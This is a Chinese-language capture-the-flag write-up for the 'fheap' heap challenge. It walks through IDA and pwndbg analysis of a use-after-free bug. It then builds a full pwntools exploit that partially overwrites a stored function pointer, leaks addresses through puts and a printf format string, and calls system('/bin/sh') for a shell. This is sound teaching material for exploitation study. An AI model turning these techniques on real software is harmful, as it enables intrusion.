0%

UAF+fmt

fheap

1641894315063

循环输入

1641894377327

1641894384819

64位,dynamically,全开

1641894925868

1641894937765

逻辑简单的程序

函数“create”:

程序出现了栈指针异常的错误:(可能掺入了花指)

1641896636586

解决方法如下:

在“0x12AA”处:用“P”创建函数,用“F5”进行反汇编

1641897519387

就是一段执行读操作的代码

1641902724901

1641902743154

先申请“0x20”字节大小的chunk:ptr

然后read读入输出长度:nbytes

输入“input”,获取“input”的实际长度,如果长度大于 “0xf” 就重新“malloc”一个chunk来存储“input”,否则就直接装入“ptr” (最多可以create16次)

函数“delete”:

1641898184915

没有用“free”,这个“unk_4040”无法识别

动态调试

IDA静态分析不能很好地体现程序的流程,先用GDB分析一下

输入值小于“0xf”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x555555559290 # chunk1
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x5555555592c0 # chunk2
Size: 0x31

Top chunk | PREV_INUSE
Addr: 0x5555555592f0
Size: 0x20d11

pwndbg> x/20xg 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000031
0x5555555592a0: 0x0000616161616161 0x0000000000000000 # chunk1
0x5555555592b0: 0x0000000000000006 0x000055555555549c # free_one
0x5555555592c0: 0x0000000000000000 0x0000000000000031
0x5555555592d0: 0x0000616161616161 0x0000000000000000 # chunk2
0x5555555592e0: 0x0000000000000006 0x000055555555549c # free_one
0x5555555592f0: 0x0000000000000000 0x0000000000020d11

输入值大于“0xf”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x555555559290 # chunk1
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x5555555592c0 # chunk1_data
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5555555592e0 # chunk2
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x555555559310 # chunk2_data
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x555555559330
Size: 0x20cd1

pwndbg> x/100xg 0x555555559290
0x555555559290: 0x0000000000000000 0x0000000000000031
0x5555555592a0: 0x00005555555592d0 0x0000000000000000 # chunk1
0x5555555592b0: 0x0000000000000011 0x00005555555554bb # free_double
0x5555555592c0: 0x0000000000000000 0x0000000000000021
0x5555555592d0: 0x6161616161616161 0x6161616161616161 # chunk1_data
0x5555555592e0: 0x000000000000000a 0x0000000000000031
0x5555555592f0: 0x0000555555559320 0x0000000000000000 # chunk2
0x555555559300: 0x0000000000000011 0x00005555555554bb # free_double
0x555555559310: 0x0000000000000000 0x0000000000000021
0x555555559320: 0x6262626262626262 0x6262626262626262 # chunk1_data
0x555555559330: 0x000000000000000a 0x0000000000020cd1

小于“0xf”时:直接把“input”写到自己的数据区

0x000055555555549c:“free_one”

1
2
3
4
void __fastcall free_one(void *a1)
{
free(a1);
}

大于“0xf”时:先malloc一个chunk,然后把malloc出来的地址,写到自己的数据区

0x00005555555554bb:“free_double”

1
2
3
4
5
6
7
8
int __fastcall free_double(int **a1)
{
int result; // eax

free(*a1);
free(a1);
return result;
}

入侵思路

没有栈溢出,有UAF漏洞(“free_one”和“free_double”都不置空指针)

先搭好框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def add(size,content):
p.recvuntil("3.quit\n")
p.sendline("create string")
p.recvuntil("size:")
p.sendline(str(size))
p.recvuntil("str:")
p.send(content)
def delete(id):
p.recvuntil("3.quit\n")
p.sendline("delete string")
p.recvuntil("id:")
p.sendline(str(id))
p.recvuntil("sure?:")
p.sendline('yes')

问题的关键就是“free_one”这个函数:

1
2
3
0x5555555592c0:	0x0000000000000000	0x0000000000000031
0x5555555592d0: 0x0000616161616161 0x0000000000000000 # chunk2
0x5555555592e0: 0x0000000000000006 0x000055555555549c # free_one

“free_one”位于“chunk2 + 5”这个位置,它不属于“chunk2”,所以在“chunk2”被“free”的时候,它是不受影响的,因此“free_one”遗留在了“chunk2”中

如果利用UAF就可以把“chunk2”作为“chunk1”的“chunk1_data”:

1
2
3
4
5
6
7
8
9
10
add(8,'a'*8)
add(8,'b'*8)
delete(0)
delete(1)

call_puts_addr = '\x69' + '\x00'
payload = 'a'*0x18 + call_puts_addr
add(len(payload),payload)

delete(1)
1
2
3
4
5
6
7
8
pwndbg> x/20xg 0x55ee908bc290
0x55ee908bc290: 0x0000000000000000 0x0000000000000031
0x55ee908bc2a0: 0x000055ee908bc2d0 0x0000000000000000 # chunk1
0x55ee908bc2b0: 0x0000000000000019 0x000055ee8f38e4bb # free_double
0x55ee908bc2c0: 0x0000000000000000 0x0000000000000031
0x55ee908bc2d0: 0x6161616161616161 0x6161616161616161 # chunk1_data(chunk2)
0x55ee908bc2e0: 0x6161616161616161 0x000055ee8f38e469 # puts_addr
0x55ee908bc2f0: 0x0000000000000000 0x0000000000020d11

因为“chunk2”的指针并没有被置空,所以可以使用“delete(1)”操作“chunk2”,而遗留在“chunk2”中的“free_one”会被覆盖低字节为“puts”,泄露了内存数据

​ // 这里只能覆盖最后两位(溢出1字节),因为开了PIE只有最后3位固定

“free_one”原本的参数就是“chunk1_data”,现在改成了“pust”

1
2
3
4
p.recvuntil('a'*24)
puts_addr=u64(p.recvuntil('1')[:-2].ljust(8,'\x00'))
#puts_addr=u64(p.recv(6).ljust(8,'\x00'))
success('puts_addr >> '+hex(puts_addr))

可以顺势获“pro_base”,获取“printf_plt”,再利用“printf”格式化字符串来泄露“libc_base”

1
2
3
delete(0)
payload = '%33$p'.ljust(0x18,'a') + p64(printf_plt) #在libc上看的
add(len(payload),payload)
1
2
3
4
5
6
7
8
pwndbg> telescope 0x55fa4c41a2c0
00:00000x55fa4c41a2c0 ◂— 0x0
01:00080x55fa4c41a2c8 ◂— 0x31 /* '1' */
02:00100x55fa4c41a2d0 ◂— 0x6161617024323225 ('%22$paaa')
03:00180x55fa4c41a2d8 ◂— 0x6161616161616161 ('aaaaaaaa')
04:00200x55fa4c41a2e0 ◂— 0x6161616161616161 ('aaaaaaaa')
05:00280x55fa4c41a2e8 —▸ 0x55fa4af3d174 (printf@plt+4) ◂— bnd jmp qword ptr [rip + 0x2e1d]
06:00300x55fa4c41a2f0 ◂— 0x0

发现泄露出来的地址和“libc_base”的差值固定,从而获取“libc_base”:

1
2
3
4
5
In [9]: 0x7f02d59a86a0-0x7f02d57bc000
Out[9]: 2016928

In [10]: hex(2016928)
Out[10]: '0x1ec6a0'

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import*


p=process('./fheap')
elf=ELF('./fheap')
libc=ELF('./libc-2.31.so')
#context(arch='amd64',log_level='debug')

def add(size,content):
p.recvuntil("3.quit\n")
p.sendline("create string")
p.recvuntil("size:")
p.sendline(str(size))
p.recvuntil("str:")
p.send(content)
def delete(id):
p.recvuntil("3.quit\n")
p.sendline("delete string")
p.recvuntil("id:")
p.sendline(str(id))
p.recvuntil("sure?:")
p.sendline('yes')

#gdb.attach(p)

add(8,'a'*8)
add(8,'b'*8)
delete(1)
delete(0)

call_puts_addr = '\x69' + '\x00'
payload = 'a'*0x18 + call_puts_addr
add(len(payload),payload)
delete(1)

p.recvuntil('a'*24)
puts_addr=u64(p.recvuntil('1')[:-2].ljust(8,'\x00'))
#puts_addr=u64(p.recv(6).ljust(8,'\x00'))
success('puts_addr >> '+hex(puts_addr))

pro_base=puts_addr-0x1469
success('pro_base >> '+hex(pro_base))
printf_plt=pro_base+elf.plt['printf']
success('printf_plt >> '+hex(printf_plt))

delete(0)
payload = '%33$p'.ljust(0x18,'a') + p64(printf_plt)
add(len(payload),payload)
delete(1)

leak_addr=eval(p.recv(14))
success('leak_addr >> '+hex(leak_addr))
libc_base=leak_addr-0x1ec6a0
success('libc_base >> '+hex(libc_base))
system_libc=libc.sym['system']+libc_base

delete(0)
payload = '/bin/sh||'.ljust(0x18,'a') + p64(system_libc)
add(len(payload),payload)
delete(1)

p.interactive()